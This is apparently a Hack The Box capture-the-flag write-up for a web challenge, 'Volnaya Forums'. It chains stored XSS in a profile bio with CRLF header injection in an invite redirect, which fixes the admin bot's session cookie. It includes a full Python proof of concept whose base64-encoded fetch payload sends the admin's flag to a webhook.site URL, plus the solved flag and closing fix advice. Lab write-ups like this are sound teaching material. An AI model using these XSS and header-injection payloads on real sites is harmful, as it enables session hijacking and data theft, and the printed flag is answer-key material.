đźš© HTB - Volnaya Forums

Executive Summary

  • OS: Linux
  • Key Technique: The website has a page does not generate new cookie for newly logged in user, and the
  • Status: In Progress

Source code

Dockerfile

center Dockerfile is fine, nothing too big other than the location of the flag.

let’s take a look into the config?

Package.json

center

The webtoken is not dynamic, I tried looking for vulnerable dependencies but none of them were vulnerable. So it is highly possible that the vulnerability is in the codebase itself.

Supervisord Config

center

Completely fine… nothing too suspicious.

Nginx Config

center

There is a part that’s pretty suspicious, where it defined that if the a user navigate to /invite/<user_input>, they will be redirected to /?ref=$<user_input> which is part of the index page (the / directory)

Let’s take a look at the index file then.

index.tsx

center

The page check if a user is logged in, if yes, they will be redirected to /profile, else they will be redirected to the /login endpoint.

login.ts

center

This is the page where the user input a password and username, then their session will be saved inside the their cookie.

Let’s see what a session do.

session.ts

center

The configuration of a session is secured, the secret key is a random string stored inside the environment and it is randomly renewed every time a new container was created (according to the migrate-database.jsfile).

center

auth.ts

center

This is the main endpoint used to check whether a user is logged in or not, if the user is admin then it will return the flag. This is our main target in this challenge it seems.

These are all the interesting files, let’s open a container and see what’s inside the website

report.ts

center

The website has a report function, that takes in a directory and send it for an admin bot for review, only logged in user can send report.

bot.ts

center

There is an admin bot running in the background and it visit the directory and checkout page. It seems like this is supposed to be a post report function, but the input was not sanitized at all. Meaning I can input anything and the bot should visit it.

Website

After registering and logging in the website, I land on the home page.

center

I check out each of the post and sees if maybe I can write a comment then send a report to the admin and make it visit the /api/auth endpoint with SSRF and get the flag.

center

Unfortunately, only verified user can write a comment. All newly registered account are default to not verified, I tried looking inside the whole codebase but there was no logic regarding making me a verified user. The only active user on the server is the admin, so it seems like I need to be able to manipulate the admin’s session in another way.

I navigate to the profile page. I tried changing the bio but my input got escaped:

center

It seems like there is a client-side filter, so I use BurpSuite Repeater to change the input

center

center

The payload works, meaning if I can somehow navigate the admin to MY profile page I can make the bot fetching the /api/auth endpoint and exfiltrate the flag to my webhook.

This boils down to making the admin bot have MY session cookie, use it when navigate to my profile but fetching the /api/auth using ITS cookie.

To do this, it uses a technique that is relatively new to me called Session Fixation where I inject my cookie to a Set-Cookie header in a response to some request that the admin will receive.

Exploitation

I need to inject a Set-Cookie header, normally, this header appear when user’s session is updated, in this page, only the /api/login endpoint has this ability, but the /api/login does not take user input.

The only other places that takes user input is the /invite/<user_input> that redirect to a /?ref=<user_input>, the response will have a Location header used for redirection. Since the input was not sanitized at all, if I inject a \r\n (URL encoded as %0D%0A) at the end, I can define a new header inside the response.

My malicious URL used to send to the admin would be like:

/invite/whatever%0D%0ASet-Cookie:%20session=MY_SESSION;%20Path=/api/profile%0D%0A

The admin’s response header after visiting the page will be:

...
Location: /?ref=whatever
Set-Cookie: session=MY_SESSION; Path=/api/profile
...

This will add a SECOND cookie inside the admin’s session, right next to its own original session cookie. The admin will be redirect to the index page/ then be redirected again to the /profile page, here, the browser make a request to /api/profile to fetch the bio.

However, since MY cookie’s scope (which only works when sending request to /api/profile) is smaller than the admin’s cookie’s scope (which is /), the browser will send MY cookie to fetch my bio, to the admin, the malicious bio then force the admin’s browser to send a request to /api/auth using the admin’s original cookie (because this time the page is outside of my cookie’s scope) and fetch the flag.

This is the Python PoC:

import requests  
import uuid  
import base64  
  
BASE_URL = "http://154.57.164.70:31296"  
REGISTER_URL = f"{BASE_URL}/api/register"  
LOGIN_URL = f"{BASE_URL}/api/login"  
REPORT_URL = f"{BASE_URL}/api/report"  
AUTH_URL = f"{BASE_URL}/api/auth"  
PROFILE_URL = f"{BASE_URL}/api/profile"  
PROFILE_VIEW_URL = f"{BASE_URL}/profile"  
WEBHOOK = "https://webhook.site/bf920272-0396-4494-8573-4a4c624212f4"  
  
  
def run_exploit():  
    session = requests.Session()  
  
    # 1. GENERATE UNIQUE USER  
    unique_id = str(uuid.uuid4())[:8]  
    username = f"user_{unique_id}"  
    password = "password123"  
    email = f"{username}@gmail.com"  
  
    print(f"[*] Starting new run with user: {username}")  
  
    # 2. REGISTRATION  
    reg_data = {"username": username, "password": password, "email": email}  
    reg_response = session.post(REGISTER_URL, json=reg_data)  
  
    if reg_response.status_code not in [200, 201]:  
        print(f"[-] Registration failed for {username}: {reg_response.text}")  
        return  
  
    # 3. LOGIN  
    login_data = {"username": username, "password": password}  
    login_response = session.post(LOGIN_URL, json=reg_data)  
  
    if login_response.status_code != 200:  
        print("[-] Login failed.")  
        return  
  
    attacker_cookie = session.cookies.get("session")  
    print(f"[+] Authenticated! Unique Session Cookie: {attacker_cookie[:20]}...")  
  
    # 4. CHANGE THE BIO  
    b64_payload = """fetch('/api/auth').then(res => res.json()).then(data => new Image().src = '%s?flag=' + data.user.flag)""" % WEBHOOK  
    b64_payload = base64.b64encode(b64_payload.encode('utf-8')).decode('utf-8')  
    XSS_payload = "<img src=x onerror=eval(atob('{}'))>".format(b64_payload)  
  
    profile_payload = {  
        "username": username,  
        "email": email,  
        "bio": XSS_payload  
    }  
  
    profile_response = session.post(PROFILE_URL, json=profile_payload)  
    print("[+] Profile updated: {}".format(profile_response.text))  
  
    # 5. CRAFT CRLF PAYLOAD  
    raw_injection = "/invite/admin_{}%0D%0ASet-Cookie:%20session={};%20Path=/api/profile".format(unique_id, attacker_cookie)  
  
    # 6. TRIGGER THE BOT  
    report_payload = {  
        "postThread": raw_injection,  
        "reason": f"Verification run {unique_id}"  
    }  
  
    print("[*] Submitting report to trigger admin review...")  
    report_response = session.post(REPORT_URL, json=report_payload)  
  
if __name__ == "__main__":  
    run_exploit()

center


Loot & Flags

Flag: HTB{9f12eba39239c080e649e4f74eabeab9}

Fix:

  • Always sanitize user input, never allow them to inject whatever they want, like adding a CRLF at the end of the input to create a new header.
  • Make sure to use library sanitization method to defend against XSS.